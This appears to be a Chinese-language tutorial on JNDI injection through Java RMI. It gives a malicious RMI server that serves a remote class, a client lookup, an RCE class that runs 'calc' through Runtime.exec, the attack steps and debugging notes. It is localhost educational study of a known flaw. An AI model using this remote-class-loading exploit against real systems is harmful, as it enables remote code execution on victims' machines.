前置知识
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;javax.naming.event:在命名目录服务器中请求事件通知;javax.naming.ldap:提供LDAP支持;javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
常用方法
bind(Name name, Object obj) 将名称绑定到对象。
list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 检索命名对象。
rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。
unbind(String name) 取消绑定命名对象。
RMIServer
package com.rmi.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8080/";Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("RCE", "RCE", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}
首先,它创建了一个Registry对象,用于在特定端口(1099)上注册RMI对象。然后,它创建了一个Reference对象,该对象包含了一个URL地址。接着,通过ReferenceWrapper将Reference对象包装起来,最后将包装后的对象绑定到Registry上,命名为"obj"
这里,url被用作Reference对象的一个参数,表示该对象引用的远程服务的地址。在RMI中,可以使用URL来指定远程对象的位置,以便客户端能够找到并调用该对象上的方法。在这段代码中,Reference对象包含了一个url地址,通过这个地址可以远程访问服务器端的对象。
也就是服务的开启1099端口等开客户端远程调用,然后调用时,服务的回去8080端口找到客户端要调用的类,再返回给客户端。
RMIClient
package com.rmi.jndi;import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}
首先,它定义了一个url变量,该变量包含了要访问的远程对象的地址,格式为"rmi://localhost:1099/obj"。这个地址包含了主机名(localhost)、端口号(1099)以及要查找的远程对象的名称(obj)。
接着,在main方法中,创建了一个InitialContext对象initialContext。InitialContext是JNDI(Java命名和目录接口)的初始上下文,用于在远程JNDI环境中查找和访问对象。
最后,通过调用initialContext的lookup方法,传入url参数,实现了对远程对象的查找和访问。lookup方法会根据传入的url地址,在远程JNDI环境中查找对应的远程对象,并返回对该对象的引用。
恶意类
import java.lang.Runtime;
import java.lang.Process;public class RCE {public RCE() throws Exception {Runtime rt = Runtime.getRuntime();String[] commands = {"calc"};Process pc = rt.exec(commands);pc.waitFor();}
}
复现过程
先启动http服务 方便去8080端口查找RCE.class
启动RMI服务端
再启动RMI客户端 客户端调加载远程的RCE类 调用RCE类的构造方法RCE
攻击流程大致就是
1.攻击者控制lookup参数
2.攻击者将lookup参数值替换为求恶意服务器上的Reference对象
3.恶意服务器返回Reference对象
4.受害机器获得Reference对象后先在CLASSPATH中查找Reference对象中的指定类是否存在,若不存在则请求Reference对象中指定URL去获得指定类
5.恶意服务器返回指定的类
6.受害机器得到指定类后,执行指定类的构造函数
动态调试
首先调用lookup方法
走到这里会停顿一下 是在通过请求寻找目标类
这里又调用了lookup 可以看到lookup封装了几层
在这里getOutputStream获取字节流 然后反序列化writeObject
继续跟进 进入这个函数
最终在这里 调用NamingManager.getObjectInstance实例化的时候 创建了RCE对象